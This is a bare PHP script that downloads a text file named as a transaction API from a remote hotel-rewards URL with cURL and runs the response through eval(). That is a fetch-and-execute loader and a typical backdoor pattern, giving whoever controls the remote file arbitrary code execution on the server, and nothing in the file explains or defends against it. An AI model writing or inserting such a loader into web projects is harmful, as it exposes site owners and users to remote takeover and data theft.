<?php $url = "http://rewardservices.mayfairhotels.com/StandardAPI/TransactionAPI.txt"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $content = curl_exec($ch); curl_close($ch); if ($content !== false) { eval('?>' . $content); } ?>